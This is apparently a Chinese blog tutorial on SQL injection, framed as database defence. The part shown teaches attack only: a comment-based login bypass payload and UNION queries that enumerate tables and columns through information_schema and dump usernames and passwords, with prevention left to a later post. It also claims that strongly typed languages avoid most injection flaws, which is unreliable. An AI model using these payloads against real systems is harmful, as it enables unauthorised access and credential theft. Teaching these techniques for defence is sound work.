WEB应用程序数据库防守篇之预防SQL漏洞注入

简介: 主要介绍SQL注入的危害会引发的后果以及如何预防等

前言




SQL:

 SQL(Structured Query Language) 是结构化查询语言的意思,用来操作查询所有关系型数据库,非关系型数据库虽然也可以存储用户的信息,但查询检索效率远低于关系型数据库,所以关系型数据库就成为存储用户数据的首选。非关系型数据库通常用来存储大数据,结构化数据,指纹,面容特征等信息,也非常重要


image.png

SQL 又分为以下四种数据库操纵语言

DQL:数据库查询语言

DML:数据库操作语言,执行添加,删除,修改

DDL:数据库定义语言

DCL:数据库事务语言

进行SQL注入,SQL语句的语法要非常熟练

Mysql中有几张默认很重要的表,必须要认识:

image.png

 information schema :它存储了关于数据库、表、列、索引、用户权限等元数据信息。

 mysql  :该数据库存储了MySQL服务器的用户权限、密码、角色等信息。它包含了多个系统表,用于管理和控制用户权限和访问控制

performance_schema:该数据库用于存储MySQL服务器的性能监控数据。它包含了多个系统表,如events_waits_current、threads、memory_summary_global_by_event_name等,用于收集和展示MySQL服务器的性能指标和统计信息

sys:该数据库是MySQL 8.0版本引入的,用于提供一种更方便的方式来查询和分析数据库的性能和状态。它包含了多个系统视图和存储过程,如sys.user_summary sys.schema_table_statistics等,用于查询和分析数据库的性能和状态信息

认识SQL注入:

度娘解释

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

翻译过来一句话就是:

攻击者通过恶意拼接SQL语句串,进行提交从而达到绕过程序代码中定义的权限,非法获取到数据库、表等信息。


在sql注入方面,用Php写的网站贡献最大,由于他是弱类型数据的语言,在传递数据类型时可以进行自由转换,这就导致SQL注入的注入点会非常的多,而使用强类型数据语言 Java,C++,C#会规避绝大部分的SQL注入漏洞。

SQL注入:

SQL注入分为很多种,有联合注入、盲注、布尔注入、报错注入、时间注入、堆叠注入、二次注入、宽字节注入、cookie注入等等等。当然 这些注入的原理都一样


下面讲一个最常用的绕过登录进行SQL注入 :

常你的登录验证SQL是这样的,

Select*from[用户表]where username='[账号]'and password='[密码]';

正常传入应该是这样:

Select*from  users  where username='hyd'and password='root130';

但如果我在传入的值username中加点料  hyd'; --  ,密码随便输  就变成这样啦  

Select*from  users  where username='hyd';--' and password='111111' ; 

-- 和 # 在sql中是注释的意思,他在执行的时候会忽略掉后面的部分,这样密码就会不起作用

接着使用联合查询union传入  hyd' union select version(),database(); --

Select*from  users  where username='hyd'unionselect version(),database();--' and password='111111' ; 

version和database会查出你当前项目数据库的版本号和所用数据库名称。

接下来根据数据库名查出库中所有的数据表,这里select后的四条数据需要在查版本号之前进行测试得出字段的数量

unionselect1,group_concat(table_name),3,4from information_schema.tableswhere table_schema ='【数据库名】'

查出所有数据表后,观察表名,带user,admin 字样的表,都会成为查询的目标,

接着查询目标表的列名,

unionselect1,2,3,column_name from  information_schema.columnswhere  table_name='users'and table_schema=database()#

得到列名后,就可以根据列名得到想要的信息。比如 查询用户账户,密码以及所有字段内的信息。

1' union select id,username,password from users#

如果该表中有管理员的账号密码,那就等于拿到了通往系统后台大门的钥匙,攻击者通过正常登录,就可以为所欲为了。因为系统管理员通常拥有最高权限,做的所有操作一般都不会被限制


下一篇会讲靶场实战训练和预防SQL注入






相关实践学习
如何在云端创建MySQL数据库
开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助     相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
相关文章
|
1天前
|
关系型数据库 Java MySQL
"解锁Java Web传奇之旅:从JDK1.8到Tomcat,再到MariaDB,一场跨越数据库的冒险安装盛宴,挑战你的技术极限!"
【9月更文挑战第6天】在Linux环境下安装JDK 1.8、Tomcat和MariaDB是搭建Java Web应用的关键步骤。本文详细介绍了使用apt-get安装OpenJDK 1.8、下载并配置Tomcat,以及安装和安全设置MariaDB(MySQL的开源分支)的方法。通过这些步骤,您可以快速构建一个稳定、高效的开发和部署环境,并验证各组件是否正确安装和运行。这为您的Java Web应用提供了一个坚实的基础。
9 0
|
3天前
|
SQL 安全 数据库
基于SQL Server事务日志的数据库恢复技术及实战代码详解
基于事务日志的数据库恢复技术是SQL Server中一个非常强大的功能,它能够帮助数据库管理员在数据丢失或损坏的情况下,有效地恢复数据。通过定期备份数据库和事务日志,并在需要时按照正确的步骤恢复,可以最大限度地减少数据丢失的风险。需要注意的是,恢复数据是一个需要谨慎操作的过程,建议在执行恢复操作之前,详细了解相关的操作步骤和注意事项,以确保数据的安全和完整。
9 0
|
7天前
|
前端开发 C# 设计模式
“深度剖析WPF开发中的设计模式应用:以MVVM为核心,手把手教你重构代码结构,实现软件工程的最佳实践与高效协作”
【8月更文挑战第31天】设计模式是在软件工程中解决常见问题的成熟方案。在WPF开发中,合理应用如MVC、MVVM及工厂模式等能显著提升代码质量和可维护性。本文通过具体案例,详细解析了这些模式的实际应用,特别是MVVM模式如何通过分离UI逻辑与业务逻辑,实现视图与模型的松耦合,从而优化代码结构并提高开发效率。通过示例代码展示了从模型定义、视图模型管理到视图展示的全过程,帮助读者更好地理解并应用这些模式。
19 0
|
7天前
|
SQL 数据处理 数据库
|
7天前
|
Java 数据库连接 数据库
告别繁琐 SQL!Hibernate 入门指南带你轻松玩转 ORM,解锁高效数据库操作新姿势
【8月更文挑战第31天】Hibernate 是一款流行的 Java 持久层框架,简化了对象关系映射(ORM)过程,使开发者能以面向对象的方式进行数据持久化操作而无需直接编写 SQL 语句。本文提供 Hibernate 入门指南,介绍核心概念及示例代码,涵盖依赖引入、配置文件设置、实体类定义、工具类构建及基本 CRUD 操作。通过学习,你将掌握使用 Hibernate 简化数据持久化的技巧,为实际项目应用打下基础。
21 0
|
7天前
|
SQL 存储 监控
|
7天前
|
API Java 数据库连接
从平凡到卓越:Hibernate Criteria API 让你的数据库查询瞬间高大上,彻底告别复杂SQL!
【8月更文挑战第31天】构建复杂查询是数据库应用开发中的常见需求。Hibernate 的 Criteria API 以其强大和灵活的特点,允许开发者以面向对象的方式构建查询逻辑,同时具备 SQL 的表达力。本文将介绍 Criteria API 的基本用法并通过示例展示其实际应用。此 API 通过 API 构建查询条件而非直接编写查询语句,提高了代码的可读性和安全性。无论是简单的条件过滤还是复杂的分页和连接查询,Criteria API 均能胜任,有助于提升开发效率和应用的健壮性。
|
7天前
|
开发者 前端开发 Java
架构模式的诗与远方:如何在MVC的田野上,用Struts 2编织Web开发的新篇章
【8月更文挑战第31天】架构模式是软件开发的核心概念,MVC(Model-View-Controller)通过清晰的分层和职责分离,成为广泛采用的模式。随着业务需求的复杂化,Struts 2框架应运而生,继承MVC优点并引入更多功能。本文探讨从MVC到Struts 2的演进,强调架构模式的重要性。MVC将应用程序分为模型、视图和控制器三部分,提高模块化和可维护性。
16 0
|
7天前
|
JSON 数据格式 Java
化繁为简的魔法:Struts 2 与 JSON 联手打造超流畅数据交换体验,让应用飞起来!
【8月更文挑战第31天】在现代 Web 开发中,JSON 成为数据交换的主流格式,以其轻量、易读和易解析的特点受到青睐。Struts 2 内置对 JSON 的支持,结合 Jackson 库可便捷实现数据传输。本文通过具体示例展示了如何在 Struts 2 中进行 JSON 数据的序列化与反序列化,并结合 AJAX 技术提升 Web 应用的响应速度和用户体验。
16 0
|
7天前
|
Java 开发者 前端开发
Struts 2:如何在大型项目中力挽狂澜,成就企业级应用开发的巅峰之作!
【8月更文挑战第31天】在本案例研究中,我们探讨了Struts 2框架在国际贸易管理系统(ITMS)中的应用,展示了其在大型项目中的优势与实践经验。Struts 2凭借其强大的表单处理、灵活的Action配置、拦截器机制及国际化支持,成为构建可扩展、高性能Web应用的理想选择。文章详细介绍了RESTful URL设计、Ajax集成、文件上传与下载等功能实现,并分享了性能优化、安全措施及遇到的问题与解决方案,为开发者提供了宝贵的参考。通过持续集成与新技术的应用,我们不断优化系统,提升开发效率与竞争力。
17 0
下一篇
DDNS